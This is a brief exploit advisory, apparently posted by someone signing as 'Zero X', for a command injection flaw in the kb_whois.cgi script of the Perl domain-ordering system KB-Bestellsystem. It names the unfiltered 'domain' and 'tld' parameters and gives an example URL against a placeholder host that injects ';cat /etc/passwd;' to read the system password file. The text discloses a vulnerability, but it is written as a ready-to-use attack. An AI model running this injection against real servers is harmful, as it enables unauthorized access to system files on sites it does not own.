"KB-Bestellsystem" is a domain order system written in Perl.
The "domain" and "tld" parameters in "kb_whois.cgi" are not filtering shell metacharacters.

The following examples will show you the /etc/passwd file:

http://targethost.com/kb-bestellsyst...d=.com&tarrif=
http://targethost.com/kb-bestellsyst...e&tld=.com;cat /etc/passwd;&tarrif=

<< Greetz Zero X >>